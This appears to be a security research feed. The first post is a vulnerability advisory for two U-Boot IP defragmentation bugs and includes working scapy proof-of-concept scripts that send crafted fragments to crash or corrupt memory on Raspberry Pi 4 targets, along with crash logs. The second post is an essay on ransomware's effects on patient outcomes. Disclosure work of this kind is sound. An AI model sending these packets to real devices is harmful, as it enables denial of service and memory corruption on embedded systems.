🔒
There are new articles available, click to refresh the page.
✇NCC Group Research

Updated: Technical Advisory and Proofs of Concept – Multiple Vulnerabilities in U-Boot (CVE-2022-30790, CVE-2022-30552)

By: Nicolas Bidron

By Nicolas Bidron, and Nicolas Guigo.

[Editor’s note: This is an updated/expanded version of these advisories which we originally published on June 3 2022.]

U-boot is a popular boot loader for embedded systems with implementations for a large number of architectures and prominent in most linux based embedded systems such as ChromeOS and Android Devices.

Two vulnerabilities were uncovered in the IP Defragmentation algorithm implemented in U-Boot, with links to the associated technical advisories below:

Exploitation proof of concepts and results are provided in each technical advisories below.

Technical Advisories:

Hole Descriptor Overwrite in U-Boot IP Packet Defragmentation Leads to Arbitrary Out of Bounds Write Primitive (CVE-2022-30790)

Project U-Boot
Project URL https://source.denx.de/u-boot/u-boot
Versions affected all versions up to commit b85d130ea0cac152c21ec38ac9417b31d41b5552
Systems affected All systems defining CONFIG_IP_DEFRAG
CVE identifier CVE-2022-30790
Advisory URL link
Risk Critical 9.6 (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
Authors Nicolas Guigo, Nicolas Bidron

Summary

U-boot is a popular boot loader for embedded systems with implementations for a large number of architectures and prominent in most linux based embedded systems.

Location

In u-boot/net/net.c the __net_defragment function line 900 through 1018.

Impact

The U-Boot implementation of RFC815 IP DATAGRAM REASSEMBLY ALGORITHMS is susceptible to a Hole Descriptor overwrite attack which ultimately leads to an arbitrary write primitve.

Description

In compiled versions of U-Boot that define CONFIG_IP_DEFRAG, a value of ip->ip_len (IP packet header’s total Length) higher than IP_HDR_SIZE and strictly lower than IP_HDR_SIZE+8 leads to a value for len comprised between 0 and 7. This ultimately results in a truncated division by 8 resulting in a value of 0, forcing the hole metadata and fragment to point to the same location. The subsequent memcpy then overwrites the hole metadata with the fragment data. Through a second fragment, this attacker-controlled metadata can be exploited to perform a controlled write to an arbitrary offset.

This bug is only exploitable from the local network as it requires crafting a malformed packet which would most likely be dropped during routing. However, this it can be effectively leveraged to root linux based embedded devices locally.

static struct ip_udp_hdr *__net_defragment(struct ip_udp_hdr *ip, int *lenp)
{
	static uchar pkt_buff[IP_PKTSIZE] __aligned(PKTALIGN);
	static u16 first_hole, total_len;
	struct hole *payload, *thisfrag, *h, *newh;
	struct ip_udp_hdr *localip = (struct ip_udp_hdr *)pkt_buff;
	uchar *indata = (uchar *)ip;
	int offset8, start, len, done = 0;
	u16 ip_off = ntohs(ip->ip_off);

	/* payload starts after IP header, this fragment is in there */
	payload = (struct hole *)(pkt_buff + IP_HDR_SIZE);
	offset8 =  (ip_off & IP_OFFS);
	thisfrag = payload + offset8;
	start = offset8 * 8;
	len = ntohs(ip->ip_len) - IP_HDR_SIZE;

The last line of the previous excerpt from u-boot/net/net.c shows how the attacker can control the value of len to be strictly lower than 8 by issuing a packet with ip_len between 21 and 27 (IP_HDR_SIZE has a value of 20).

Also note that offset8 here is 0 which leads to thisfrag = payload.

	} else if (h >= thisfrag) {
		/* overlaps with initial part of the hole: move this hole */
		newh = thisfrag + (len / 8);
		*newh = *h;
		h = newh;
		if (h->next_hole)
			payload[h->next_hole].prev_hole = (h - payload);
		if (h->prev_hole)
			payload[h->prev_hole].next_hole = (h - payload);
		else
			first_hole = (h - payload);

	} else {

Later in the same function, execution reaches the above code path. Here, len / 8 evaluates to 0 leading to newh = thisfrag. Also note that first_hole here is 0 since h and payload point to the same location.

	/* finally copy this fragment and possibly return whole packet */
	memcpy((uchar *)thisfrag, indata + IP_HDR_SIZE, len);

In the above excerpt the call to memcpy() overwrites the hole metadata (since thisfrag and h both point to the same location) with arbitrary data from the fragmented IP packet data. With a len value of 6, last_byte, next_hole, and prev_hole of the first_hole all end- up attacker-controlled.

Finally the arbitrary write is triggered by sending a second fragment packet, whose offset and length only need to fit within the hole pointed to by the previously controlled metadata (next_hole) set from the first packet.

Recommendation

This bug was fixed in commit b85d130ea0cac152c21ec38ac9417b31d41b5552 on U-Boot master’s branch. Update to the latest version to obtain the fix.

Proof of Concept for exploitation and Results

Exploitation was attempted against a build of U-Boot for Raspberry Pi 4 with IP_DEFRAG enabled. The device was set to attempt loading kernel through U-Boot’s dhcp method, this ensures that the devices gets an IP address and enables its ethernet interface, allowing the malicious payload to be delivered by an adjacent machine on the network (connected to the same switch).

The following Python script was used to send the first malicious packet that will overwrite the initial __net_defragment() hole metadata with contents from a own specially crafted hole structure. The second packet effectively executed the memory overwrite at the offset set up by the first packet’s next_hole, which led to a crash but the payload can be adjusted to achieve controlled memory writes against the target.

import ctypes
from sys import argv
from scapy.all import *

# struct endianness based on arch
class hole(ctypes.LittleEndianStructure):
  _pack_ = 1
  _fields_ = [('last_byte', ctypes.c_ushort),
              ('next_hole', ctypes.c_ushort),
              ('prev_hole', ctypes.c_ushort),
              ('unused', ctypes.c_ushort)]
  def __init__(self, lb, nh, ph):
    return super().__init__(lb, nh, ph, 0xFEFE)

# U-Boot IP Fragment Hole Overwrite
def frag_hole_overwrite():
  # Prepare the malicious hole
  hh = hole(0x10, 0x07FD, 0xFFFF)
  payload = bytes(hh) + bytes(0x20)
  packet1 = Ether(dst=mac)/IP(dst=ip, flags='MF', frag=0x0, len=27)/Raw(payload)
  packet1.show2()
  sendp(packet1, iface='virbr0')
  # Trigger the unsafe write in the overlap case
  payload = bytes(0x10)
  packet2 = Ether(dst=mac)/IP(dst=ip, flags='MF', frag=0x0)/Raw(payload)
  packet2.show2()
  sendp(packet2, iface='eth0') iface=virbr0 if launched against a qemu instance

if __name__ == '__main__':
  global mac, ip
  mac = argv[1]
  ip = argv[2]
  frag_hole_overwrite()

The above script can be launched with the following command:

> ./fragger_poc.py dc:a6:32:ef:5f:0a 192.168.0.90

This will result in the following (log as shown on U-Boot’s console):

U-Boot 2022.04-dirty (May 26 2022 - 00:53:40 -0700)

DRAM:  7.1 GiB
RPI 4 Model B (0xd03114)
Core:  202 devices, 13 uclasses, devicetree: board
MMC:   [email protected]: 1, [email protected]: 0
Loading Environment from FAT... Unable to read "uboot.env" from mmc0:1... 
In:    serial
Out:   vidconsole
Err:   vidconsole
Net:   eth0: [email protected]
PCIe BRCM: link up, 5.0 Gbps x1 (SSC)
starting USB...
Bus xhci_pci: Register 5000420 NbrPorts 5
Starting the controller
USB XHCI 1.00
scanning bus xhci_pci for devices... 2 USB Device(s) found
       scanning usb for storage devices... 0 Storage Device(s) found
Hit any key to stop autoboot:  0 
switch to partitions #0, OK
mmc0 is current device
Scanning mmc 0:1...
Found U-Boot script /boot.scr
146 bytes read in 9 ms (15.6 KiB/s)
## Executing script at 02400000
[email protected] Waiting for PHY auto negotiation to complete. done
BOOTP broadcast 1
DHCP client bound to address 192.168.0.90 (23 ms)
*** Warning: no boot file name; using 'C0A8005A.img'
Using [email protected] device
TFTP from server 192.168.0.1; our IP address is 192.168.0.90
Filename 'C0A8005A.img'.
Load address: 0x1000000
Loading: T T T T T T T T "Synchronous Abort" handler, esr 0x8a000000
elr: fffffffff8165fff lr : 00000000000e43a8 (reloc)
elr: 000000000000ffff lr : 0000000007f8e3a8
x0 : 0000000007b9b942 x1 : 000000000000007a
x2 : 0000000000000040 x3 : 000000000000ffff
x4 : 00000000000001ad x5 : 0000000007b2f000
x6 : 0000000000000024 x7 : 0000000000000000
x8 : 000000000000000b x9 : 0000000000000008
x10: 00000000ffffffe0 x11: 0000000000000006
x12: 000000000001869f x13: 0000000007b168cc
x14: 0000000007b18b00 x15: 0000000000000002
x16: 000000000000ffff x17: 2e8324b208000000
x18: 0000000007b25d60 x19: 000000000000007a
x20: 0000000007b2f130 x21: 0000000000000020
x22: 0000000007fcf000 x23: 0000000007fc9000
x24: 0000000007fcb000 x25: 0000000007fc9000
x26: 0000000007fc9628 x27: 0000000007fcf000
x28: 0000000007fcf000 x29: 0000000007b16b40

Code: 4bcbc7cb 46890822 c96a480a b2353b57 (3e972802) 
Resetting CPU ...

resetting ...

Large buffer overflow leads to DoS in U-Boot IP Packet Defragmentation Code (CVE-2022-30552)

Project U-Boot
Project URL https://source.denx.de/u-boot/u-boot
Versions affected all versions up to commit b85d130ea0cac152c21ec38ac9417b31d41b5552
Systems affected All systems defining CONFIG_IP_DEFRAG
CVE identifier CVE-2022-30552
Advisory URL link
Risk High 7.1 (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H)
Authors Nicolas Guigo, Nicolas Bidron

Summary

U-boot is a popular boot loader for embedded systems with implementations for a large number of architectures and prominent in most linux based embedded systems.

Location

u-boot/net/net.c lines 915 and 1011.

Impact

The U-Boot implementation of RFC815 IP DATAGRAM REASSEMBLY ALGORITHMS is susceptible to a buffer overflow through a specially crafted fragmented IP Datagram with an invalid total length which causes a denial of service.

Description

In compiled versions of U-Boot that define CONFIG_IP_DEFRAG, a value of ip->ip_len (IP packet header’s total length) lower than IP_HDR_SIZE leads to len taking a negative value, which ultimately results in a buffer overflow during the subsequent call to memcpy() that uses len as its count parameter.

This bug is only exploitable from the local network as it requires crafting a malformed packet with an ip_len value lower than the minimum accepted total length (21 as defined in the IP specification document: RFC791) which would most likely be dropped during routing.

static struct ip_udp_hdr *__net_defragment(struct ip_udp_hdr *ip, int *lenp)
{
	static uchar pkt_buff[IP_PKTSIZE] __aligned(PKTALIGN);
	static u16 first_hole, total_len;
	struct hole *payload, *thisfrag, *h, *newh;
	struct ip_udp_hdr *localip = (struct ip_udp_hdr *)pkt_buff;
	uchar *indata = (uchar *)ip;
	int offset8, start, len, done = 0;
	u16 ip_off = ntohs(ip->ip_off);

	/* payload starts after IP header, this fragment is in there */
	payload = (struct hole *)(pkt_buff + IP_HDR_SIZE);
	offset8 =  (ip_off & IP_OFFS);
	thisfrag = payload + offset8;
	start = offset8 * 8;
	len = ntohs(ip->ip_len) - IP_HDR_SIZE;

The last line of the previous excerpt from u-boot/net/net.c shows where the underflow to a negative len value occurs if ip_len is set to a value strictly lower than 20 (IP_HDR_SIZE being 20). Also note that in the above excerpt the pkt_buff buffer has a size of CONFIG_NET_MAXDEFRAG which defaults to 16 KB but can range from 1KB to 64 KB depending on configurations.

	/* finally copy this fragment and possibly return whole packet */
	memcpy((uchar *)thisfrag, indata + IP_HDR_SIZE, len);

In the above excerpt the memcpy() overflows the destination by attempting to make a copy of nearly 4 gigabytes in a buffer that’s designed to hold CONFIG_NET_MAXDEFRAG bytes at most, which leads to a DoS.

Recommendation

This bug was fixed in commit b85d130ea0cac152c21ec38ac9417b31d41b5552 on U-Boot master’s branch. Update to the latest version to obtain the fix.

Proof of Concept for exploitation and Results

Exploitation was attempted against a build of U-Boot for Raspberry Pi 4 with IP_DEFRAG enabled. The device was set to attempt loading kernel through U-Boot’s dhcp method, this ensures that the devices gets an IP address and enables its ethernet interface, allowing the malicious payload to be delivered by an adjacent machine on the network (connected to the same switch).

The following Python script is used to send the single malicious packet that will underflow len, ultimately overflowing the buffer (thisfrag) and crashing the device.

import ctypes
from sys import argv
from scapy.all import *

# U-Boot Fragment Underflow
def frag_underflow():
  packet = Ether(dst=mac)/IP(dst=ip, flags='MF', frag=0x0, len=19)/UDP()
  packet.show2()
  sendp(packet, iface='eth0') # iface=virbr0 if launched against a qemu instance

if __name__ == '__main__':
  global mac, ip
  mac = argv[1]
  ip = argv[2]
  frag_underflow()

The above script can be launched with the following command:

> ./fragger_poc.py dc:a6:32:ef:5f:0a 192.168.0.90

This will result in the following (log as shown on U-Boot’s console):

U-Boot 2022.04-dirty (May 26 2022 - 00:53:40 -0700)

DRAM:  7.1 GiB
RPI 4 Model B (0xd03114)
Core:  202 devices, 13 uclasses, devicetree: board
MMC:   [email protected]: 1, [email protected]: 0
Loading Environment from FAT... Unable to read "uboot.env" from mmc0:1... 
In:    serial
Out:   vidconsole
Err:   vidconsole
Net:   eth0: [email protected]
PCIe BRCM: link up, 5.0 Gbps x1 (SSC)
starting USB...
Bus xhci_pci: Register 5000420 NbrPorts 5
Starting the controller
USB XHCI 1.00
scanning bus xhci_pci for devices... 2 USB Device(s) found
       scanning usb for storage devices... 0 Storage Device(s) found
Hit any key to stop autoboot:  0 
switch to partitions #0, OK
mmc0 is current device
Scanning mmc 0:1...
Found U-Boot script /boot.scr
146 bytes read in 9 ms (15.6 KiB/s)
## Executing script at 02400000
BOOTP broadcast 1
DHCP client bound to address 192.168.0.90 (18 ms)
*** Warning: no boot file name; using 'C0A8005A.img'
Using [email protected] device
TFTP from server 192.168.0.1; our IP address is 192.168.0.90
Filename 'C0A8005A.img'.
Load address: 0x1000000
Loading: T T T T T T T T T T 
Retry count exceeded; starting again
SCRIPT FAILED: continuing...
libfdt fdt_check_header(): FDT_ERR_BADMAGIC
MMC Device 2 not found
no mmc device at slot 2

Device 0: unknown device
BOOTP broadcast 1
DHCP client bound to address 192.168.0.90 (21 ms)
*** Warning: no boot file name; using 'C0A8005A.img'
Using [email protected] device
TFTP from server 192.168.0.1; our IP address is 192.168.0.90
Filename 'C0A8005A.img'.
Load address: 0x1000000
Loading: T T T T T T T T "Synchronous Abort" handler, esr 0x96000046
elr: 00000000000e06e8 lr : 00000000000e5174 (reloc)
elr: 0000000007f8a6e8 lr : 0000000007f8f174
x0 : 0000000007fcb51c x1 : 0000000007b75964
x2 : ffffffffffffffff x3 : 0000000000234ae4
x4 : 0000000007fcb51c x5 : 0000000000000000
x6 : 0000000000000000 x7 : 00000000ffffffff
x8 : 0000000000000000 x9 : 0000000000000008
x10: 00000000ffffffe0 x11: 0000000007fcb514
x12: 000000000001869f x13: 0000000007b17d4c
x14: 0000000007b18b00 x15: 0000000000000002
x16: 0000000007f5cc84 x17: 2e8324b208000000
x18: 0000000007b25d60 x19: 0000000007b75942
x20: 0000000007fcb500 x21: 0000000007fa0fd0
x22: 0000000007f98156 x23: 00000000ffffffff
x24: 0000000007fc9000 x25: 0000000000000000
x26: 0000000007fcb514 x27: 0000000007fcb51c
x28: 0000000007b75950 x29: 0000000007b17f30

Code: cb030004 cb030021 17fffff0 38636825 (38236885) 
Resetting CPU ...

resetting ...

Disclosure Timeline

May 18th 2022: Initial e-mail from NCC to U-boot maintainers announcing two vulnerabilities were identified. U-Boot maintainers responded indicating that the disclosure process is to be handled publicly through U-Boot’s mailing list.

May 18th 2022: NCC posted a full writeup of the two vulnerabilities identified to U-Boot’s public mailing list.

May 25th 2022: a U-Boot maintainer indicated on the mailing list that they will implement a fix to the two findings.

May 26th 2022: a patch has been proposed by U-Boot maintainers to fix both CVEs through the mailing list.

May 31st 2022: U-boot maintainers and NCC Group agree to publishing the advisories in advance of patch deployment, given the public mailing-list-based discussion of the vulnerability and proposed fixes.

June 3rd 2022: Fix is commited to U-Boot master branch https://source.denx.de/u-boot/u-boot/-/commit/b85d130ea0cac152c21ec38ac9417b31d41b5552

Thanks to

Jennifer Fernick, and Dave Goldsmith for their support through the disclosure process.

U-Boot’s maintainers.

Authors

Nicolas Guigo, and Nicolas Bidron

✇NCC Group Research

Understanding the Impact of Ransomware on Patient Outcomes – Do We Know Enough?

By: Stuart Kututac

The healthcare sector and ransomware attacks appear together frequently in the media. Since before the start of the pandemic rarely a week goes by without at least one story about a healthcare organisation falling victim to a ransomware attack. We often hear about the financial impact these attacks have or how they can affect patient safety, but there is little to state what the actual impact on patient outcomes are. 

Articles about a ransomware attack that could be found to be the cause of a death, or vulnerabilities in a specific medical device are very important in bringing these issues into the public eye. However, they do not explain or even truly allude to where clinical risk is negatively impacted the most and that is what should ultimately be the priority when discussing cyberattacks in healthcare.

According to statistics obtained from publications produced by the European Union Agency for Cybersecurity (ENISA) and the FBI’s Internet Crime Complaint Center (IC3), ransomware attacks since 2017 have increased in general year on year (apart from 2018, where attacks decreased compared to the previous year). This could be attributed to several reasons such as the growth of ransomware, widespread vulnerabilities affecting a multitude of organisations, and of course the pandemic contributing to a decrease in user vigilance and expanding the security boundaries of organisations. [1] [2] [3] [4] [5] [6] [7] [8] [9] 

IC3 Annual Report Data

Contradicting the trend is the UK, according to the annual Cyber Security Breaches Surveys the percentage of breaches caused by ransomware attacks across all sectors have been steadily decreasing. However, ransomware remains one of the top three threats to UK businesses and charities. [10] [11] [12] [13] [14]

UK Cyber Security Breaches Survey Data

Although these statistics are not just about ransomware in the healthcare sector, the IC3 report from 2021 [11] shows that the healthcare and public health sector reported the most ransomware attacks. The number of healthcare organisations that reported being a victim of a ransomware attack was 148, this was significantly more than the next sector on the list, financial services, this being 89 organisations. A survey conducted by Sophos [15] stated that from 328 respondents 34% of organisations were hit by ransomware in the previous year (2020).

Similarly, the ENISA Threat Landscape 2020 [3] states “Healthcare organisations were the favourite target of ransomware attackers during all of the previous years, and this trend also continued in 2019.”

This would indicate that the healthcare sector remains a viable target as many organisations in this sector are considered soft targets. Furthermore, healthcare organisations are more likely to pay the ransom. [16]

Regardless of the fall or rise in the number of victims of ransomware, the continued attacks on the healthcare sector demonstrate callous behaviour towards patients’ wellbeing, the medical professionals and support staff of the healthcare organisations caring for those patients. 

Current research on the impact of ransomware attacks on patient health 

Ransomware attacks in healthcare environments can lock medical professionals out of workstations, disrupt access to services, prevent access to patient records, disable medical devices and prevent delivery of urgent care. With so many attacks occurring in the healthcare sector, the impact this has on patient outcomes could be disastrous, and even lead to death in extreme cases. 

When discussing the impact that ransomware has on patient outcomes it is important to consider all circumstances and not just the most critical cases, although these should clearly be prioritised. A search using phrases such as “ransomware impact patient” and “ransomware impact health” was used on Google scholar, PubMed, ProQuest, and general searches using Google and Bing to try and find any related research that had already been conducted and could shed some light on how ransomware impacts patient outcomes. 

Although the literary search was not exhaustive it appears this topic has not been thoroughly researched. Only a few contained conclusions as to whether a ransomware attack did in fact have a negative effect on patient outcomes. Furthermore, the results were inconsistent which in likelihood reflects the complex nature of healthcare environments but could also indicate more detailed research and analysis is required. 

Direct impact 

One of the most notorious incidents in recent years is that of the ransomware attack on a university hospital in Düsseldorf, Germany. Whilst enroute with a 78-year-old woman in a deteriorating state, paramedics were redirected to an alternative hospital 32 kilometres away due to systems being unavailable from the attack. The delay in treatment caused by the additional transfer time was initially suspected to have contributed to the patient’s death. However, the investigation later found that the patient’s condition was so severe at the time she was picked up that “The delay was of no relevance to the final outcome,” as reported by Wired [17]. 

Another incident occurred in 2019, in which an infant died at a hospital that was in the midst of a ransomware attack. The lawsuit states “Because numerous electronic systems were compromised by the cyberattack, fetal tracing information was not accessible at the nurses’ station or by any physician or other healthcare provider who was not physically present in Teiranni’s labor and delivery room. As a result, the number of healthcare providers who would normally monitor her labor and delivery was substantially reduced and important safety-critical layers of redundancy were eliminated.” [18]. 

Whilst the tragedy of these cases should not be understated, they only account for a small part of the overall effect that ransomware or any IT/OT outage could have in a healthcare environment. 

Rerouting 

A retrospective analysis was conducted after a successful ransomware attack on a health system in Southern California sent a large influx of patients to two emergency departments at the University of California San Diego. The increase in demand for care was above any expected increase from other situations such as flu season however, the analysis did not involve determining the impact on patient outcomes. [19] [20] 

Whilst this is not linked to ransomware it highlights that delay in care can have a negative impact on patient outcomes. Analysis of Medicare data [21] relating to patients suffering from a heart attack concluded that delays in ambulance journeys due to road closures (in this instance because of a marathon taking place) increased the 30-day mortality rate (a death occurring within 30 days of a defined event).

Remediation effects 

A research paper on the effect a data breach has on patient outcomes determined that “Hospital data breaches significantly increased the 30-day mortality rate for AMI” (AMI – Acute Myocardial Infarction, also known as a heart attack). The researchers also stated that “Ransomware attacks are considered to be more disruptive to hospital operations than the breaches considered in this study… If disruption to information technology used by providers is driving the breach effect, the findings from our study suggest that ransomware attacks may have an even stronger negative impact on patients than the breaches studied in this paper.” [22]. The researchers suggest that the changes to health information technology (HIT) as well as new policies and procedures following a data breach contribute to the increase in 30-day mortality and the longevity of the impact. 

The CyberPeace Institute released a report [23] in March 2021 that references research conducted at Vanderbilt University. Similar to the previous paper, this research discovered that remediation efforts following a data breach caused an increase in the 30-day mortality rate of patients suffering from a heart attack up to 3 years after the initial breach. 

Large scale attacks 

An article published in Nature.com [24] analysed data from the WannaCry attack on the NHS. Interestingly, the research found “no significant effect demonstrated on mortality across all hospitals.”. However, the article also details “The NAO stated that there were no reports of patient harm from NHS organisations.1 This is difficult to quantify, and as discussed, mortality is a crude measure of patient harm. While the attack may not have led to a direct impact on mortality, we are unable to ascertain the true impact on complications, patient morbidity, or changes in care processes that resulted from the attack.” 

This is a key point as a negative outcome that does not lead to death can still have a significant impact on a patient’s life. For example, a delay in care that leads to paralysis, or organ failure that then requires the patient to have a transplant. Situations like this affect the patients’ quality of life as well as medical staff time and resources. 

Many respondents from a recent survey conducted by the Ponemon Institute [25] reported that a ransomware attack caused longer stays in hospital and delays that resulted in poor outcomes. 

The most convincing study [26] to date is one conducted by the Cybersecurity and Infrastructure Security Agency (CISA). This study was primarily concerned with the impact of COVID-19 on the Provide Medical Care National Critical Function in the US. The study was also able to gain insights into the impact that ransomware has on hospitals which found that “Although there are no deaths directly attributed to hospital cyberattacks, statistical analysis of an affected hospital’s relative performance indicates reduced capacity and worsened health outcomes”. 

What data is missing about the impact of ransomware attacks on patient health? 

What does all this mean? Currently we do not know enough about the effects that ransomware has on patient outcomes. Delays in care can cause negative outcomes, the average amount of downtime caused by ransomware reached 26 days according to Coveware [27]. It stands to reason then that a ransomware attack would incur negative outcomes as well. 

Furthermore, this is only considering the immediate downtime caused by the event. What about continued delays due to any backlogs that have occurred? Ransomware attacks, or any prolonged cyberattack or IT/OT outage, could result in long-term effects of a wide variety of medical conditions as well as the psychological effect on patients including a lack of trust whereby patients do not disclose information that might be key to diagnosis. Not to mention the effect that the resultant fatigue can have on medical staff [28]. 

The Department of Health and Social Care (DHSC) in the UK recently outlined the new cyber security strategy for health and social care, this included “calling for input from around the sector to improve the understanding of how cyber relates to patient outcomes and identify the important elements.” [29]. 

Attack vectors and targeted systems

Few details exist on root cause of successful attacks and depending on what resource you find the order of common attack vectors differ. A quarterly report from Coveware [27] lists the top 3 ransomware attack vectors across all industries over the past 3 years as RDP, email phishing, software vulnerability. Whilst the most common attack vendor according to respondents from the Ponemon study [25] was through cloud applications. Analysis in 2020 conducted by researchers at Tenable found a key method for gaining access to hospital networks was through a pair of Citrix vulnerabilities [30].  

Electronic Patient/Health/Medical Records (EPR, EHR, EMR) are also prime targets for attackers. Medical records contain a lot of valuable data so this can be used for several fraudulent reasons, especially in countries where healthcare is not paid for by the state. Preventing access to these systems will disrupt the delivery of care. Vital information becomes unavailable to help treat patients and therefore exerts overwhelming pressure on healthcare organisations to pay the ransom. 

The attack on the Health Service Executive (HSE), Ireland’s public health service, prevented access to all the IT systems and took four months to decrypt all the servers [31]. This meant access to patient records and scans were not available for extended periods of time. 

Downtime in laboratory’s also cause significant issues as Laboratory Information Systems (LIS) and clinical labs are very reliant on interconnectivity between systems [32]. Delays in ordering tests and receiving results can have an impact on clinical decision making. 

How to better understand the impact of ransomware events? 

Given the complexity of the healthcare industry it would be beneficial to understand not just the immediate impact of ransomware attacks but also the medium and long-term effects as well. Knowing what could happen in the first few hours, 5 years, and key points in between would help develop preventative actions. It would also help prepare for potential consequences and care requirements in the event of a successful attack. 

Metrics could include: 

  • The effects on individual and/or groups of illnesses 
  • The short/medium/long-term resources required to facilitate the effects on patients 
  • A breakdown of what systems and departments are affected 
  • The percentage of movement in clinical risk – for example, how many low-risk cases escalate to medium-risk due to a delay in care 
  • Number of cases referred to neighbouring facilities 

A more in-depth retrospective analysis of the WannaCry attack on the NHS as well as ongoing analysis of the HSE attack would be extremely useful in shaping how healthcare organisations prepare for, respond to, and recover from ransomware attacks. 

What do we need to know to be able to address this problem? 

Being able to analyse current or previous events more thoroughly is one way to understand the true impact that ransomware attacks have on healthcare organisations. However, data gathered from a previous or current attack may not be accurate or complete as a result of the incresae in stress and load on staff and resources. 

Another option could be to use simulations and AI/ML to predict how ransomware attacks affect patient outcomes. A recent paper [33] detailing the results from adapting an established simulation model, used for evaluating operational strategies [34], to assess the resilience of hospitals to cyberattacks. In conjunction with a simulation of this type it might be possible to apply AI/ML to predict specific medical issues [35] [36] [37] [38] or patient outcomes in general [39]. 

Imagine a healthcare organisation being able to understand with some confidence what the impact would be on any or all their patients, based on what systems were down, for how long those systems were down and if services were available at a neighbouring facility. 

It is important to understand what the real impact is, prolonged cyberattacks have the potential to have a significant effect but are unlike other disaster situations. Power outages can be protected against by using backup generators that will kick in quickly, weather patterns can, to a certain extent, be predicted and planned for. Ransomware can strike at any moment, take out an unpredictable number of systems, affect multiple organisations simultaneously over large geographic distances, and recur at the whim of attackers if remediation efforts are insufficient or non-existent. More importantly, ransomware can be, to an extent, prevented by following security best practices such as hardening systems and devices, properly segregating networks, installing security patches and updates.

From a financial perspective the ability for a healthcare organisation to get back to a functioning state and implement remediation objectives could be hampered by additional strain from lawsuits. A worrying statistic, reported by Healthcare Finance News [40], shows an increase in lawsuits filed against healthcare organisations over data breaches. 

As such disaster recovery plans should include recovery from ransomware attacks as part of the strategy, arguably as a priority. The HSE report [31] and simulation research [33] note, respectively, the absence of preparation for relevant scenarios, “In addition, as is the case with many other organisations, the scenario of sustained loss of IT across the entire health service has not been planned for, with specific considerations and playbooks,” and no consideration for a cyberattack as a hazardous event, “while the impact of a wide variety of hazard event types on hospital capability and capacity were studied, cyberattack was not previously considered in these models.” 

Cyberattacks targeting the healthcare sector, as with any other industry, do not have borders so international collaboration around research & information-sharing is important. If we have more diverse input about impact on different communities, populations, economies, and geographic areas we can build better solutions to the problem. Therefore helping to ease the burden on healthcare professionals, resources and contribute to preventing poor patient outcomes.

Next steps

It would be beneficial to expand on previous research and take a deep dive into hospital data from just prior and up to today from the WannaCry attack. Concentrating on a small but varied number of health issues that have the potential to demonstrate if and how delays in care caused by ransomware affect patient morbidity. Using examples of hospitals that were able to transfer patients to neighbouring facilities as well as hospitals that were not able to is important to understand the immediate and the cascading effects.

This would hopefully lay the foundations for creating configurable ransomware simulations for a more proactive approach to help prevent attacks but also to better understand where clinical resources should be prioritised.

References 

[1] https://www.enisa.europa.eu/publications/enisa-threat-landscape-report-2017 

[2] https://www.enisa.europa.eu/publications/enisa-threat-landscape-report-2018 

[3] https://www.enisa.europa.eu/publications/ransomware 

[4] https://www.enisa.europa.eu/publications/enisa-threat-landscape-2021 

[5] https://www.ic3.gov/Media/PDF/AnnualReport/2017_IC3Report.pdf 

[6] https://www.ic3.gov/Media/PDF/AnnualReport/2018_IC3Report.pdf 

[7] https://www.ic3.gov/Media/PDF/AnnualReport/2019_IC3Report.pdf 

[8] https://www.ic3.gov/Media/PDF/AnnualReport/2020_IC3Report.pdf 

[9] https://www.ic3.gov/Media/PDF/AnnualReport/2021_IC3Report.pdf 

[10] https://assets.publishing.service.gov.uk/government/uploads/system/uploads/attachment_data/file/609186/Cyber_Security_Breaches_Survey_2017_main_report_PUBLIC.pdf 

[11] https://assets.publishing.service.gov.uk/government/uploads/system/uploads/attachment_data/file/702074/Cyber_Security_Breaches_Survey_2018_-_Main_Report.pdf 

[12] https://assets.publishing.service.gov.uk/government/uploads/system/uploads/attachment_data/file/950063/Cyber_Security_Breaches_Survey_2019_-_Main_Report_-_revised_V2.pdf 

[13] https://assets.publishing.service.gov.uk/government/uploads/system/uploads/attachment_data/file/893399/Cyber_Security_Breaches_Survey_2020_Statistical_Release_180620.pdf 

[14] https://assets.publishing.service.gov.uk/government/uploads/system/uploads/attachment_data/file/972399/Cyber_Security_Breaches_Survey_2021_Statistical_Release.pdf 

[15] https://assets.sophos.com/X24WTUEQ/at/s49k3zrbsj8x9hwbm9nkhzxh/sophos-state-of-ransomware-in-healthcare-2021-wp.pdf 

[16] https://news.sophos.com/en-us/2022/06/01/the-state-of-ransomware-in-healthcare-2022/

[17] https://www.wired.co.uk/article/ransomware-hospital-death-germany 

[18] https://www.documentcloud.org/documents/21072978-kidd-amended-complaint 

[19] https://www.medpagetoday.com/meetingcoverage/acep/95357 

[20] https://www.researchgate.net/publication/355630183_162_Regional_Emergency_Department_Census_Impacts_During_a_Cyber_Attack 

[21] https://www.nejm.org/doi/full/10.1056/NEJMsa1614073 

[22] https://arxiv.org/pdf/1904.02058.pdf 

[23] https://cyberpeaceinstitute.org/report/2021-03-CyberPeaceInstitute-SAR001-Healthcare.pdf 

[24] https://www.nature.com/articles/s41746-019-0161-6 

[25] https://www.censinet.com/ponemon-report-covid-impact-ransomware 

[26] https://www.cisa.gov/sites/default/files/publications/CISA_Insight_Provide_Medical_Care_Sep2021.pdf 

[27] https://www.coveware.com/blog/2022/5/3/ransomware-threat-actors-pivot-from-big-game-to-big-shame-hunting 

[28] https://www.theguardian.com/society/2022/jun/04/sleep-deprived-medical-staff-pose-same-danger-on-roads-as-drunk-drivers 

[29] https://www.ukauthority.com/articles/five-pillars-in-cyber-strategy-for-health-and-social-care/ 

[30] https://www.zdnet.com/article/ransomware-attacks-now-to-blame-for-half-of-healthcare-data-breaches/ 

[31] https://www.hse.ie/eng/services/publications/conti-cyber-attack-on-the-hse-full-report.pdf 

[32] https://academic.oup.com/ajcp/article/157/4/482/6533636 

[33] https://www.ncbi.nlm.nih.gov/pmc/articles/PMC8638073/ 

[34] https://www.tandfonline.com/doi/abs/10.1080/24725579.2019.1584132 

[35] https://www.insideprecisionmedicine.com/artificial-intelligence/ai-used-to-calculate-individual-risk-of-repeat-stroke/ 

[36] https://www.scientificamerican.com/article/ai-can-predict-kidney-failure-days-in-advance/ 

[37] https://www.nbcnews.com/mach/science/ai-predicts-heart-attacks-better-doctors-n752011 

[38] https://www.futuremedicine.com/doi/full/10.2217/fon-2021-0302 

[39] https://www.nature.com/articles/s41746-018-0029-1 

[40] https://www.healthcarefinancenews.com/news/patients-increasingly-suing-hospitals-over-data-breaches 

✇NCC Group Research

Public Report – Threshold ECDSA Cryptography Review

By: Jennifer Fernick

